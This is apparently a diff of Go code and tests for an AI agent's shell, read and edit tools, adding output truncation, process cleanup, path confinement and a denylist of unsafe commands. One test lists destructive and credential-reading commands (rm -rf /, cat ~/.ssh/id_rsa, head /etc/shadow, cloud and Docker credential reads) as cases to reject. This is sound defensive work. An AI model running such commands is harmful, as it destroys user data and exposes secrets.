func TestBoundedOutputKeepsCompleteUTF8AtBoundary(t *testing.T) {
var out boundedOutput
out.Limit = len([]byte("abcé"))
if _, err := out.Write([]byte("abcédef")); err != nil {
t.Fatal(err)
}
if content := out.String("stdout"); !strings.HasPrefix(content, "abcé\n\n[stdout truncated:") {
t.Fatalf("content = %q, want complete UTF-8 prefix", content)
}
}
func TestBoundedOutputTrimsTrailingPartialUTF8(t *testing.T) {
var out boundedOutput
out.Limit = 4
if _, err := out.Write([]byte{'a', 'b', 'c', 0xc3}); err != nil {
t.Fatal(err)
}
if _, err := out.Write([]byte{0xa9}); err != nil {
t.Fatal(err)
}
if content := out.String("stdout"); !utf8.ValidString(content) || !strings.HasPrefix(content, "abc\n\n[stdout truncated:") {
t.Fatalf("content = %q, want valid UTF-8 with partial suffix trimmed", content)
}
}
func TestUTF8SafePrefixRejectsMalformedLeadByte(t *testing.T) {
input := []byte{'a', 0xc0, 0x80, 'b'}
if got := utf8SafePrefixLen(input); got != 1 {
t.Fatalf("safe prefix length = %d, want 1", got)
}
}
func TestBoundedOutputDropsMalformedUTF8(t *testing.T) {
var out boundedOutput
out.Limit = 4
if _, err := out.Write([]byte{'a', 0xc0, 0x80, 'b'}); err != nil {
t.Fatal(err)
}
content := out.String("stdout")
if !utf8.ValidString(content) {
t.Fatalf("content is not valid UTF-8: %q", content)
}
if strings.ContainsRune(content, utf8.RuneError) {
t.Fatalf("content contains replacement rune: %q", content)
}
if !strings.HasPrefix(content, "a\n\n[stdout truncated:") {
t.Fatalf("content = %q, want valid prefix and truncation marker", content)
}
}
func TestBashReportsCanceledCommand(t *testing.T) {
ctx, cancel := context.WithCancel(context.Background())
cancel()
result, err := (&Bash{}).Execute(ctx, agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": shellTestCommand("sleep 10", "Start-Sleep -Seconds 10"),
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Error: command was canceled") {
t.Fatalf("content = %q, want canceled message", result.Content)
}
if strings.Contains(result.Content, "Exit code: -1") {
t.Fatalf("content = %q, should not mask cancellation as exit code", result.Content)
}
}
func TestRejectUnsafeShellCommand(t *testing.T) {
tests := []struct {
name string
command string
wantErr bool
}{
{name: "rm root", command: "rm -rf /", wantErr: true},
{name: "sudo rm root", command: "sudo rm -rf -- /", wantErr: true},
{name: "rm home", command: "rm -fr $HOME", wantErr: true},
{name: "rm root wildcard", command: "rm -rf /*", wantErr: true},
{name: "rm system subdir", command: "rm -rf /etc/ssh", wantErr: true},
{name: "rm cwd", command: "rm -rf .", wantErr: true},
{name: "powershell remove root", command: `Remove-Item -Recurse -Force C:\`, wantErr: true},
{name: "powershell remove system subdir", command: `Remove-Item -Recurse -Force C:\Windows\Temp`, wantErr: true},
{name: "ssh private key", command: "cat ~/.ssh/id_rsa", wantErr: true},
{name: "aws credentials", command: "Get-Content $HOME/.aws/credentials", wantErr: true},
{name: "shadow", command: "head /etc/shadow", wantErr: true},
{name: "netrc", command: "cat ~/.netrc", wantErr: true},
{name: "docker config", command: "cat ~/.docker/config.json", wantErr: true},
{name: "gnupg dir", command: "cat ~/.gnupg/private-keys-v1.d/key", wantErr: true},
{name: "gh hosts", command: "cat ~/.config/gh/hosts.yml", wantErr: true},
{name: "ssh config", command: "cat ~/.ssh/config", wantErr: true},
{name: "printenv dump", command: "printenv", wantErr: false},
{name: "delete build dir", command: "rm -rf build", wantErr: false},
{name: "read project file", command: "cat README.md", wantErr: false},
{name: "mention key text", command: "rg id_rsa docs", wantErr: false},
{name: "env example", command: "cat .env.example", wantErr: false},
{name: "rm build then unrelated tilde path", command: "rm -rf build && echo ~/.ssh/config", wantErr: false},
{name: "rm build then unrelated slash path", command: "rm -rf build; cat /etc/passwd", wantErr: false},
{name: "rm build then unrelated star glob", command: "rm -rf build && ls *.go", wantErr: false},
{name: "rm multiple targets one unsafe", command: "rm -rf build /etc", wantErr: true},
{name: "rm unsafe then safe piped", command: "rm -rf / | tee log", wantErr: true},
{name: "rm unsafe via command substitution", command: "rm -rf $(echo /)", wantErr: true},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
err := rejectUnsafeShellCommand(tt.command)
if tt.wantErr && err == nil {
t.Fatal("expected unsafe command to be rejected")
}
if !tt.wantErr && err != nil {
t.Fatalf("command rejected: %v", err)
}
})
}
}
func TestBashRejectsUnsafeCommandBeforeExecution(t *testing.T) {
_, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "rm -rf /",
})
if err == nil || !strings.Contains(err.Error(), "refusing to run unsafe command") {
t.Fatalf("err = %v, want unsafe command rejection", err)
}
}
func shellTestCommand(unix, windows string) string {
if runtime.GOOS == "windows" {
return windows
}
return unix
}
func shellTestCapturedXCount() int {
if runtime.GOOS == "windows" {
return maxBashOutputBytes
}
return maxBashOutputBytes / 2
}
func TestReadFinalWorkingDirRejectsInvalidPaths(t *testing.T) {
dir := t.TempDir()
cwdFile := filepath.Join(dir, "cwd")
notDir := filepath.Join(dir, "file.txt")
if err := os.WriteFile(notDir, []byte("not a dir"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(cwdFile, []byte(notDir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("regular file cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(filepath.Join(dir, "missing")+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != "" {
t.Fatalf("missing cwd = %q, want empty", got)
}
if err := os.WriteFile(cwdFile, []byte(dir+"\n"), 0o644); err != nil {
t.Fatal(err)
}
if got := readFinalWorkingDir(cwdFile); got != dir {
t.Fatalf("directory cwd = %q, want %q", got, dir)
}
}
func TestNormalizeBashWorkingDirWindowsDriveLetter(t *testing.T) {
if runtime.GOOS != "windows" {
t.Skip("windows path normalization")
}
got := normalizeBashWorkingDir("/c/Users/jdoe/project")
want := filepath.Clean(`C:\Users\jdoe\project`)
if got != want {
t.Fatalf("working dir = %q, want %q", got, want)
}
}
+49
View File
@@ -0,0 +1,49 @@
//go:build !windows
package tools
import (
"context"
"os/exec"
"strings"
"syscall"
)
func shellToolName() string {
return "bash"
}
func shellToolDescription() string {
return "Execute a bash command on the system. Use this to inspect files, run tests, and perform development tasks."
}
func shellCommandDescription() string {
return "The bash command to execute."
}
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
script := command + "\n__ollama_status=$?\npwd -P > " + shellQuote(cwdPath) + "\nexit $__ollama_status"
cmd := exec.CommandContext(ctx, "bash", "-c", script)
configureBashCommand(cmd)
return cmd
}
func shellQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "'\\''") + "'"
}
func configureBashCommand(cmd *exec.Cmd) {
cmd.SysProcAttr = &syscall.SysProcAttr{Setpgid: true}
}
func runBashCommand(cmd *exec.Cmd) error {
return cmd.Run()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
_ = syscall.Kill(-cmd.Process.Pid, syscall.SIGKILL)
return nil
}
+40
View File
@@ -0,0 +1,40 @@
//go:build !windows
package tools
import (
"context"
"os/exec"
"strings"
"testing"
"time"
"github.com/ollama/ollama/agent"
)
func TestConfigureBashCommandSetsProcessGroup(t *testing.T) {
cmd := exec.Command("bash", "-c", "true")
configureBashCommand(cmd)
if cmd.SysProcAttr == nil || !cmd.SysProcAttr.Setpgid {
t.Fatalf("configureBashCommand should start bash in a new process group")
}
}
func TestBashWaitDelayBoundsBackgroundOutputPipe(t *testing.T) {
start := time.Now()
result, err := (&Bash{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"command": "sleep 5 & echo done",
})
if err != nil {
t.Fatal(err)
}
if elapsed := time.Since(start); elapsed > bashWaitDelay+2*time.Second {
t.Fatalf("command elapsed = %s, want bounded near %s", elapsed, bashWaitDelay)
}
if !strings.Contains(result.Content, "done") {
t.Fatalf("content = %q, want command output", result.Content)
}
if !strings.Contains(result.Content, "output pipes did not close") {
t.Fatalf("content = %q, want wait delay message", result.Content)
}
}
+134
View File
@@ -0,0 +1,134 @@
//go:build windows
package tools
import (
"context"
"os/exec"
"strings"
"sync"
"unsafe"
"golang.org/x/sys/windows"
)
var bashJobHandles sync.Map
func shellToolName() string {
return "powershell"
}
func shellToolDescription() string {
return "Execute a PowerShell command on the system. Use this to inspect files, run tests, and perform development tasks."
}
func shellCommandDescription() string {
return "The PowerShell command to execute."
}
func newBashCommand(ctx context.Context, command, cwdPath string) *exec.Cmd {
return exec.CommandContext(
ctx,
"powershell.exe",
"-NoLogo",
"-NoProfile",
"-NonInteractive",
"-ExecutionPolicy",
"Bypass",
"-Command",
powerShellCommandScript(command, cwdPath),
)
}
func powerShellCommandScript(command, cwdPath string) string {
cwdPath = powerShellSingleQuote(cwdPath)
return strings.Join([]string{
"$__ollama_status = 0",
". {",
"try {",
command,
" $__ollama_success = $?",
" $__ollama_last_exit = $global:LASTEXITCODE",
" if ($__ollama_success) {",
" $__ollama_status = 0",
" } elseif ($__ollama_last_exit -is [int] -and $__ollama_last_exit -ne 0) {",
" $__ollama_status = $__ollama_last_exit",
" } else {",
" $__ollama_status = 1",
" }",
"} catch {",
" Write-Error $_",
" $__ollama_status = 1",
"} finally {",
" try { [System.IO.File]::WriteAllText(" + cwdPath + ", (Get-Location).ProviderPath, [System.Text.Encoding]::UTF8) } catch {}",
"}",
"} | Out-String -Stream -Width 4096",
"exit $__ollama_status",
}, "\n")
}
func powerShellSingleQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "''") + "'"
}
func runBashCommand(cmd *exec.Cmd) error {
if err := cmd.Start(); err != nil {
return err
}
if job, err := createBashJob(cmd.Process.Pid); err == nil {
bashJobHandles.Store(cmd.Process.Pid, job)
defer releaseBashJob(cmd.Process.Pid)
}
return cmd.Wait()
}
func killBashCommand(cmd *exec.Cmd) error {
if cmd == nil || cmd.Process == nil {
return nil
}
releaseBashJob(cmd.Process.Pid)
_ = cmd.Process.Kill()
return nil
}
func createBashJob(pid int) (windows.Handle, error) {
job, err := windows.CreateJobObject(nil, nil)
if err != nil {
return 0, err
}
info := windows.JOBOBJECT_EXTENDED_LIMIT_INFORMATION{}
info.BasicLimitInformation.LimitFlags = windows.JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE
if _, err := windows.SetInformationJobObject(
job,
windows.JobObjectExtendedLimitInformation,
uintptr(unsafe.Pointer(&info)),
uint32(unsafe.Sizeof(info)),
); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
process, err := windows.OpenProcess(windows.PROCESS_SET_QUOTA|windows.PROCESS_TERMINATE, false, uint32(pid))
if err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
defer windows.CloseHandle(process)
if err := windows.AssignProcessToJobObject(job, process); err != nil {
_ = windows.CloseHandle(job)
return 0, err
}
return job, nil
}
func releaseBashJob(pid int) {
value, ok := bashJobHandles.LoadAndDelete(pid)
if !ok {
return
}
if job, ok := value.(windows.Handle); ok {
_ = windows.CloseHandle(job)
}
}
+15
View File
@@ -0,0 +1,15 @@
//go:build windows
package tools
import (
"strings"
"testing"
)
func TestPowerShellCommandScriptUsesWideOutString(t *testing.T) {
script := powerShellCommandScript("Get-ChildItem", `C:\cwd.txt`)
if !strings.Contains(script, "Out-String -Stream -Width 4096") {
t.Fatalf("script = %q, want explicit Out-String width", script)
}
}
+558
View File
@@ -0,0 +1,558 @@
package tools
import (
"bufio"
"context"
"fmt"
"io"
"os"
"path/filepath"
"strconv"
"strings"
"github.com/ollama/ollama/agent"
"github.com/ollama/ollama/api"
)
const (
maxReadBytes = 200000
)
type Read struct{}
func (r *Read) Name() string {
return "read"
}
func (r *Read) Description() string {
return "Read a text file from the current working directory."
}
func (r *Read) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to read, relative to the working directory.",
})
props.Set("start", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based line to start reading from.",
})
props.Set("end", api.ToolProperty{
Type: api.PropertyType{"integer"},
Description: "Optional 1-based inclusive line to stop reading at.",
})
return api.ToolFunction{
Name: r.Name(),
Description: r.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path"},
},
}
}
func (r *Read) RequiresApproval(map[string]any) bool {
return true
}
func (r *Read) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
// TODO: use shared agent.RequiredStringArg / agent.OptionalIntArg for args (see agent package cleanup plan).
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
file, info, err := openRegularFile(toolCtx.WorkingDir, path, true)
if err != nil {
return agent.ToolResult{}, err
}
defer file.Close()
selection, err := readSelectionFromArgs(args)
if err != nil {
return agent.ToolResult{}, err
}
if !selection.enabled && info.Size() > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("%s is too large to read (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
return agent.ToolResult{}, ctx.Err()
default:
}
var content string
if selection.enabled {
content, err = readLineSelection(file, selection)
} else {
var contentBytes []byte
contentBytes, err = readAllWithinLimit(file, maxReadBytes)
content = string(contentBytes)
}
if err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: content}, nil
}
type Edit struct{}
func (e *Edit) Name() string {
return "edit"
}
func (e *Edit) Description() string {
return "Edit a text file in the current working directory by replacing exact text."
}
func (e *Edit) Schema() api.ToolFunction {
props := api.NewToolPropertiesMap()
props.Set("path", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Path to the file to edit, relative to the working directory.",
})
props.Set("old_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Exact text to replace.",
})
props.Set("new_text", api.ToolProperty{
Type: api.PropertyType{"string"},
Description: "Replacement text.",
})
props.Set("replace_all", api.ToolProperty{
Type: api.PropertyType{"boolean"},
Description: "Replace every occurrence. Defaults to false and requires old_text to match exactly once.",
})
return api.ToolFunction{
Name: e.Name(),
Description: e.Description(),
Parameters: api.ToolFunctionParameters{
Type: "object",
Properties: props,
Required: []string{"path", "old_text", "new_text"},
},
}
}
func (e *Edit) RequiresApproval(map[string]any) bool {
return true
}
func (e *Edit) Execute(ctx context.Context, toolCtx agent.ToolContext, args map[string]any) (agent.ToolResult, error) {
// TODO: use shared agent.RequiredStringArg / agent.OptionalBoolArg for args (see agent package cleanup plan).
path, ok := args["path"].(string)
if !ok || strings.TrimSpace(path) == "" {
return agent.ToolResult{}, fmt.Errorf("path parameter is required")
}
oldText, ok := args["old_text"].(string)
if !ok || oldText == "" {
return agent.ToolResult{}, fmt.Errorf("old_text parameter is required")
}
newText, ok := args["new_text"].(string)
if !ok {
return agent.ToolResult{}, fmt.Errorf("new_text parameter is required")
}
replaceAll, _ := args["replace_all"].(bool)
if err := rejectFinalSymlink(toolCtx.WorkingDir, path); err != nil {
return agent.ToolResult{}, err
}
file, info, err := openRegularFile(toolCtx.WorkingDir, path, false)
if err != nil {
return agent.ToolResult{}, err
}
if info.Size() > maxReadBytes {
file.Close()
return agent.ToolResult{}, fmt.Errorf("%s is too large to edit (%d bytes)", path, info.Size())
}
select {
case <-ctx.Done():
file.Close()
return agent.ToolResult{}, ctx.Err()
default:
}
contentBytes, err := readAllWithinLimit(file, maxReadBytes)
if closeErr := file.Close(); err == nil && closeErr != nil {
err = closeErr
}
if err != nil {
return agent.ToolResult{}, err
}
content := string(contentBytes)
matches := strings.Count(content, oldText)
if matches == 0 {
return agent.ToolResult{}, fmt.Errorf("old_text was not found in %s", path)
}
if matches > 1 && !replaceAll {
return agent.ToolResult{}, fmt.Errorf("old_text matched %d times in %s; set replace_all to true to replace every match", matches, path)
}
var updated string
if replaceAll {
updated = strings.ReplaceAll(content, oldText, newText)
} else {
updated = strings.Replace(content, oldText, newText, 1)
}
if len(updated) > maxReadBytes {
return agent.ToolResult{}, fmt.Errorf("edited content is too large (%d bytes)", len(updated))
}
if err := writeFileAtomic(toolCtx.WorkingDir, path, []byte(updated), info.Mode().Perm()); err != nil {
return agent.ToolResult{}, err
}
return agent.ToolResult{Content: fmt.Sprintf("Updated %s (%d replacement%s).", path, matches, plural(matches))}, nil
}
func cleanRelativePath(path string) (string, error) {
path = strings.TrimSpace(path)
if path == "" {
return "", fmt.Errorf("path parameter is required")
}
if filepath.IsAbs(path) {
return "", fmt.Errorf("absolute paths are not allowed")
}
cleaned := filepath.Clean(path)
if cleaned == "." || cleaned == ".." || strings.HasPrefix(cleaned, ".."+string(os.PathSeparator)) {
return "", fmt.Errorf("path escapes working directory")
}
return cleaned, nil
}
func openRegularFile(workingDir, path string, allowAbsolute bool) (*os.File, os.FileInfo, error) {
path = strings.TrimSpace(path)
if path == "" {
return nil, nil, fmt.Errorf("path parameter is required")
}
if allowAbsolute && filepath.IsAbs(path) {
cleaned := filepath.Clean(path)
info, err := os.Lstat(cleaned)
if err != nil {
return nil, nil, err
}
if info.Mode()&os.ModeSymlink != 0 {
return nil, nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
}
if err := rejectNonRegularFile(path, info); err != nil {
return nil, nil, err
}
file, err := os.Open(cleaned)
if err != nil {
return nil, nil, err
}
info, err = file.Stat()
if err != nil {
file.Close()
return nil, nil, err
}
if err := rejectNonRegularFile(path, info); err != nil {
file.Close()
return nil, nil, err
}
return file, info, nil
}
rel, err := cleanRelativePath(path)
if err != nil {
return nil, nil, err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return nil, nil, err
}
defer root.Close()
if _, err := regularRootFileInfo(root, rel, path); err != nil {
return nil, nil, err
}
file, err := root.Open(rel)
if err != nil {
return nil, nil, rootPathError(err)
}
info, err := file.Stat()
if err != nil {
file.Close()
return nil, nil, err
}
if err := rejectNonRegularFile(path, info); err != nil {
file.Close()
return nil, nil, err
}
return file, info, nil
}
func regularRootFileInfo(root *os.Root, rel, path string) (os.FileInfo, error) {
info, err := root.Lstat(rel)
if err != nil {
return nil, rootPathError(err)
}
// Reject symlinks outright. os.Root.Open follows symlinks via openat
// without O_NOFOLLOW, so a symlink inside the working root that points
// outside it (e.g. ./notes -> ~/.ssh/id_rsa) would otherwise be read
// transparently, bypassing the working-directory confinement that the
// bash denylist enforces for direct credential reads. The caller must
// operate on the real target file instead.
if info.Mode()&os.ModeSymlink != 0 {
return nil, fmt.Errorf("%s is a symlink; read the target file directly", path)
}
if err := rejectNonRegularFile(path, info); err != nil {
return nil, err
}
return info, nil
}
func rejectNonRegularFile(path string, info os.FileInfo) error {
if info.IsDir() {
return fmt.Errorf("%s is a directory", path)
}
if !info.Mode().IsRegular() {
return fmt.Errorf("%s is not a regular file", path)
}
return nil
}
func writeFileAtomic(workingDir, path string, data []byte, perm os.FileMode) error {
rel, err := cleanRelativePath(path)
if err != nil {
return err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return err
}
defer root.Close()
if err := rejectRootFinalSymlink(root, rel, path); err != nil {
return err
}
parent, name := filepath.Split(rel)
tmpBase := fmt.Sprintf(".%s.ollama-tmp-%d", name, os.Getpid())
for i := 0; ; i++ {
candidateName := tmpBase
if i > 0 {
candidateName = fmt.Sprintf("%s-%d", tmpBase, i)
}
candidate := filepath.Join(parent, candidateName)
file, err := root.OpenFile(candidate, os.O_WRONLY|os.O_CREATE|os.O_EXCL, perm)
if os.IsExist(err) {
continue
}
if err != nil {
return rootPathError(err)
}
if err := file.Chmod(perm); err != nil {
closeErr := file.Close()
_ = root.Remove(candidate)
if closeErr != nil {
return closeErr
}
return err
}
writeErr := writeAllAndSync(file, data)
closeErr := file.Close()
if writeErr != nil || closeErr != nil {
_ = root.Remove(candidate)
if writeErr != nil {
return writeErr
}
return closeErr
}
if err := root.Rename(candidate, rel); err != nil {
_ = root.Remove(candidate)
return rootPathError(err)
}
return nil
}
}
func rejectFinalSymlink(workingDir, path string) error {
rel, err := cleanRelativePath(path)
if err != nil {
return err
}
root, err := openWorkingRoot(workingDir)
if err != nil {
return err
}
defer root.Close()
return rejectRootFinalSymlink(root, rel, path)
}
func rejectRootFinalSymlink(root *os.Root, rel, path string) error {
info, err := root.Lstat(rel)
if err != nil {
return rootPathError(err)
}
if info.Mode()&os.ModeSymlink != 0 {
return fmt.Errorf("%s is a symlink; edit the target file directly", path)
}
return nil
}
func rootPathError(err error) error {
if err != nil && strings.Contains(err.Error(), "path escapes") {
return fmt.Errorf("path escapes working directory")
}
return err
}
func openWorkingRoot(workingDir string) (*os.Root, error) {
base, err := workingDirAbs(workingDir)
if err != nil {
return nil, err
}
return os.OpenRoot(base)
}
func writeAllAndSync(file *os.File, data []byte) error {
if _, err := file.Write(data); err != nil {
return err
}
return file.Sync()
}
func readAllWithinLimit(reader io.Reader, limit int) ([]byte, error) {
if limit < 0 {
limit = 0
}
content, err := io.ReadAll(io.LimitReader(reader, int64(limit)+1))
if err != nil {
return nil, err
}
if len(content) > limit {
return nil, fmt.Errorf("content is too large (%d byte limit)", limit)
}
return content, nil
}
func workingDirAbs(workingDir string) (string, error) {
base := workingDir
if base == "" {
var err error
base, err = os.Getwd()
if err != nil {
return "", err
}
}
return canonicalPath(base)
}
func canonicalPath(path string) (string, error) {
abs, err := filepath.Abs(path)
if err != nil {
return "", err
}
resolved, err := filepath.EvalSymlinks(abs)
if err == nil {
return resolved, nil
}
return abs, nil
}
type readSelection struct {
enabled bool
start int
end int
}
func readSelectionFromArgs(args map[string]any) (readSelection, error) {
selection := readSelection{start: 1}
if start, ok, err := intReadArg(args, "start"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.start = start
}
if end, ok, err := intReadArg(args, "end"); err != nil {
return readSelection{}, err
} else if ok {
selection.enabled = true
selection.end = end
}
if !selection.enabled {
return selection, nil
}
if selection.start < 1 {
return readSelection{}, fmt.Errorf("start must be greater than 0")
}
if selection.end > 0 && selection.end < selection.start {
return readSelection{}, fmt.Errorf("end must be greater than or equal to start")
}
return selection, nil
}
func readLineSelection(file *os.File, selection readSelection) (string, error) {
reader := bufio.NewReader(file)
var b strings.Builder
for lineNo := 1; ; {
line, err := reader.ReadSlice('\n')
if lineNo >= selection.start && (selection.end == 0 || lineNo <= selection.end) {
if b.Len()+len(line) > maxReadBytes {
return "", fmt.Errorf("selected content is too large (%d byte limit)", maxReadBytes)
}
b.Write(line)
}
if err != nil {
if err == bufio.ErrBufferFull {
continue
}
if err == io.EOF {
break
}
return "", err
}
if selection.end > 0 && lineNo >= selection.end {
break
}
lineNo++
}
return b.String(), nil
}
func intReadArg(args map[string]any, key string) (int, bool, error) {
value, ok := args[key]
if !ok {
return 0, false, nil
}
switch v := value.(type) {
case int:
return v, true, nil
case int64:
return int(v), true, nil
case float64:
if v != float64(int(v)) {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return int(v), true, nil
case string:
v = strings.TrimSpace(v)
if v == "" {
return 0, false, nil
}
n, err := strconv.Atoi(v)
if err != nil {
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
return n, true, nil
default:
return 0, true, fmt.Errorf("%s must be a whole number", key)
}
}
func plural(n int) string {
if n == 1 {
return ""
}
return "s"
}
+338
View File
@@ -0,0 +1,338 @@
package tools
import (
"context"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/ollama/ollama/agent"
)
func TestEditReplacesUniqueText(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("hello world\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "hello",
"new_text": "hi",
})
if err != nil {
t.Fatal(err)
}
if !strings.Contains(result.Content, "Updated note.txt") {
t.Fatalf("result = %q", result.Content)
}
content, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(content) != "hi world\n" {
t.Fatalf("content = %q", content)
}
}
func TestEditRequiresUniqueMatchByDefault(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
if err := os.WriteFile(path, []byte("same same\n"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"old_text": "same",
"new_text": "other",
})
if err == nil {
t.Fatal("expected ambiguous edit to fail")
}
if !strings.Contains(err.Error(), "matched 2 times") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsEscapingPath(t *testing.T) {
dir := t.TempDir()
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "../outside.txt",
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected escaping path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestEditRejectsSymlinkEscape(t *testing.T) {
dir := t.TempDir()
outside := t.TempDir()
if err := os.WriteFile(filepath.Join(outside, "note.txt"), []byte("old\n"), 0o644); err != nil {
t.Fatal(err)
}
if err := os.Symlink(outside, filepath.Join(dir, "link")); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": filepath.Join("link", "note.txt"),
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected symlink escape to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
content, err := os.ReadFile(filepath.Join(outside, "note.txt"))
if err != nil {
t.Fatal(err)
}
if string(content) != "old\n" {
t.Fatalf("outside content changed to %q", content)
}
}
func TestEditRejectsFinalSymlink(t *testing.T) {
dir := t.TempDir()
target := filepath.Join(dir, "target.txt")
if err := os.WriteFile(target, []byte("old\n"), 0o644); err != nil {
t.Fatal(err)
}
link := filepath.Join(dir, "link.txt")
if err := os.Symlink("target.txt", link); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := (&Edit{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "link.txt",
"old_text": "old",
"new_text": "new",
})
if err == nil {
t.Fatal("expected final symlink edit to fail")
}
if !strings.Contains(err.Error(), "is a symlink") {
t.Fatalf("err = %v", err)
}
content, err := os.ReadFile(target)
if err != nil {
t.Fatal(err)
}
if string(content) != "old\n" {
t.Fatalf("target content changed to %q", content)
}
info, err := os.Lstat(link)
if err != nil {
t.Fatal(err)
}
if info.Mode()&os.ModeSymlink == 0 {
t.Fatalf("link mode = %v, want symlink", info.Mode())
}
}
func TestReadRejectsParentOutsideCurrentWorkingDir(t *testing.T) {
root := t.TempDir()
subdir := filepath.Join(root, "sub")
if err := os.Mkdir(subdir, 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(root, "note.txt"), []byte("hello"), 0o644); err != nil {
t.Fatal(err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: subdir}, map[string]any{
"path": "../note.txt",
})
if err == nil {
t.Fatal("expected parent path to fail")
}
if !strings.Contains(err.Error(), "path escapes working directory") {
t.Fatalf("err = %v", err)
}
}
func TestReadRequiresApproval(t *testing.T) {
if !agent.ToolRequiresApproval((&Read{}), map[string]any{"path": "note.txt"}) {
t.Fatal("read should require approval")
}
}
func TestReadDefaultsToEntireFile(t *testing.T) {
dir := t.TempDir()
content := "one\ntwo\nthree\n"
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte(content), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
})
if err != nil {
t.Fatal(err)
}
if result.Content != content {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadAllowsAbsolutePath(t *testing.T) {
dir := t.TempDir()
path := filepath.Join(dir, "note.txt")
content := "one\ntwo\nthree\n"
if err := os.WriteFile(path, []byte(content), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"path": path,
})
if err != nil {
t.Fatal(err)
}
if result.Content != content {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadRejectsAbsoluteSymlink(t *testing.T) {
dir := t.TempDir()
target := filepath.Join(dir, "target.txt")
if err := os.WriteFile(target, []byte("hello\n"), 0o644); err != nil {
t.Fatal(err)
}
link := filepath.Join(dir, "alias")
if err := os.Symlink(target, link); err != nil {
t.Skipf("symlinks unavailable: %v", err)
}
_, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: t.TempDir()}, map[string]any{
"path": link,
})
if err == nil {
t.Fatal("expected absolute symlink to be rejected")
}
if !strings.Contains(err.Error(), "symlink") {
t.Fatalf("err = %v, want symlink rejection", err)
}
}
func TestReadStartEnd(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
result, err := (&Read{}).Execute(context.Background(), agent.ToolContext{WorkingDir: dir}, map[string]any{
"path": "note.txt",
"start": 2,
"end": 3,
})
if err != nil {
t.Fatal(err)
}
if result.Content != "two\nthree\n" {
t.Fatalf("content = %q", result.Content)
}
}
func TestReadStartOnly(t *testing.T) {
dir := t.TempDir()
if err := os.WriteFile(filepath.Join(dir, "note.txt"), []byte("one\ntwo\nthree\nfour\n"), 0o644); err != nil {
t.Fatal(err)
}
